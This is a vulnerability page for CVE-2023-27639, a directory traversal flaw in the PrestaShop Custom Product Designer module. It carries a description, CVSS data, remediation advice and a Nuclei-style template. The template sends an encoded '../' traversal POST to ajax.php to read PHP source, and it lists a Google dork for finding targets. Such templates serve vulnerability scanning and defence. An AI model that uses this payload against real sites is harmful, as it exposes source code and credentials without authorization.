CVE-2023-27639: PrestaShop TshirteCommerce - Directory Traversal

2025-08-01 PrestaShop TshirteCommerce PoC Public

Description

The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.

PoC

id: CVE-2023-27639

info:
  name: PrestaShop TshirteCommerce - Directory Traversal
  author: MaStErChO
  severity: high
  description: |
    The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.
  impact: |
    Unauthenticated attackers can exploit directory traversal in the Custom Product Designer module to read arbitrary files including source code and configuration files, potentially accessing database credentials and sensitive PrestaShop configuration.
  remediation: |
    Update the Custom Product Designer (tshirtecommerce) module for PrestaShop to a patched version that validates file paths and prevents directory traversal in ajax.php.
  reference:
    - https://www.cvedetails.com/cve/CVE-2023-27639/
    - https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27639
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-27639
    cwe-id: CWE-22
    epss-score: 0.03551
    epss-percentile: 0.88714
    cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tshirtecommerce
    product: custom_product_designer
    framework: prestashop
    google-query: inurl:"/tshirtecommerce/"
  tags: cve,cve2023,prestashop,tshirtecommerce,lfi,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/tshirtecommerce/ajax.php?type=svg"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "url=.%2F..%2Fvendor%2Fjdorn%2Fsql-formatter%2Fexamples&file_name=examples.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "SqlFormatter Examples"
          - "SqlFormatter"
          - "<?php"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022014ca27558f2dcc9d44eb90cf4c6313b86e398b8fefbd8d50dc66ee54dd40eef40220639f8122917ceabe3c807f59bb28f9bde9a5d10b3951ffb3b2fe6de5d33e1a67:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities